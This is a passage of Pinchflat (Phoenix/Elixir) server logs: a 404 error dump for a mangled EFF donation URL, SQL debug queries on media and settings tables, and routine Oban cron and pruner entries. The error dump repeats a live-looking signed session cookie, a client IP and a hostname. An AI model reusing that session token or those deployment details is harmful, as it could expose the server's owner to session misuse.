#Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.120"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/supporters.eff.org/donate", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-bqaG0DXsDhccAADhk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11113.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/supporters.eff.org/donate", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 4563}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/supporters.eff.org/donate (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11113.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/supporters.eff.org/donate", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 4563}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-c (truncated) 20:18:51.875 [info] Sent 200 in 201ms 20:18:51.894 [info] Sent 200 in 156ms 20:18:51.932 [info] Sent 200 in 171ms 20:18:51.959 [info] Sent 200 in 197ms 20:18:52.020 [info] Sent 200 in 203ms 20:18:52.128 [debug] QUERY OK source="tasks" db=355.8ms queue=0.2ms idle=4.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 20:18:52.131 [debug] QUERY OK source="oban_jobs" db=2.0ms queue=0.2ms idle=295.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2215] 20:18:52.132 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=297.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:52.133 [debug] QUERY OK source="settings" db=0.3ms idle=289.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:52.134 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=153.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:52.143 [debug] QUERY OK source="sources" db=0.4ms idle=14.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:52.153 [debug] QUERY OK source="media_items" db=5.4ms queue=0.7ms idle=15.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 20:18:52.156 [debug] QUERY OK source="media_items" db=1.9ms queue=0.6ms idle=21.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 20:18:52.158 [debug] QUERY OK source="sources" db=0.6ms idle=24.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:52.160 [debug] QUERY OK source="media_items" db=0.2ms queue=1.3ms idle=24.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 20:18:52.161 [debug] QUERY OK source="media_items" db=0.4ms queue=0.3ms idle=16.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 20:18:52.163 [debug] QUERY OK source="sources" db=0.3ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:52.164 [debug] QUERY OK source="media_items" db=0.2ms queue=0.3ms idle=7.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 20:18:52.165 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=6.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 20:18:52.167 [info] Sent 200 in 406ms 20:19:00.334 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:19:10.863 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:40.865 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.344 [info] {"source":"oban","duration":8577,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:20:10.867 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:40.869 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.349 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:21:10.871 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:40.873 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.355 [info] {"source":"oban","duration":4564,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:22:10.875 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:40.877 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.357 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:23:10.879 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:40.885 [info] {"source":"oban","duration":4312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.361 [info] {"source":"oban","duration":3172,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:24:10.887 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:40.889 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.370 [info] {"source":"oban","duration":7728,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:25:10.891 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:40.895 [info] {"source":"oban","duration":2648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.373 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:10.896 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:40.898 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.380 [info] {"source":"oban","duration":3768,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:10.900 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:40.902 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.385 [info] {"source":"oban","duration":3600,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:10.904 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:40.906 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.391 [info] {"source":"oban","duration":5666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:10.909 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:40.911 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.397 [info] {"source":"oban","duration":3861,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:10.913 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:40.915 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.401 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:10.917 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:40.921 [info] {"source":"oban","duration":2578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.428 [info] {"source":"oban","duration":25493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:10.923 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:40.927 [info] {"source":"oban","duration":3208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.429 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:10.929 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:40.932 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.431 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:10.936 [info] {"source":"oban","duration":2882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:40.939 [info] {"source":"oban","duration":2466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.436 [info] {"source":"oban","duration":4102,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:10.944 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:31.505 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:35:40.947 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.446 [info] {"source":"oban","duration":5977,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:10.949 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:40.951 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.447 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:10.953 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:40.957 [info] {"source":"oban","duration":3111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.449 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:10.959 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:40.961 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.455 [info] {"source":"oban","duration":4018,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:10.963 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:40.965 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.458 [info] {"source":"oban","duration":2240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:10.968 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:40.972 [info] {"source":"oban","duration":3038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.461 [info] {"source":"oban","duration":1899,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:10.974 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:40.976 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.463 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:10.978 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:40.982 [info] {"source":"oban","duration":2578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.465 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:10.985 [info] {"source":"oban","duration":3514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:40.991 [info] {"source":"oban","duration":4347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.467 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:10.995 [info] {"source":"oban","duration":2616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:40.997 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.470 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:10.999 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:41.001 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.472 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:11.003 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:41.005 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.478 [info] {"source":"oban","duration":3812,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:11.007 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:41.010 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.487 [info] {"source":"oban","duration":7489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:11.012 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:41.014 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.489 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:11.016 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:41.018 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.493 [info] {"source":"oban","duration":3293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:11.020 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:41.022 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.494 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:11.024 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:41.026 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.499 [info] {"source":"oban","duration":4427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:11.028 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:41.030 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.503 [info] {"source":"oban","duration":3503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:11.032 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:41.034 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.549 [info] {"source":"oban","duration":42608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:11.036 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:41.038 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.553 [info] {"source":"oban","duration":2969,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:11.040 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:41.042 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 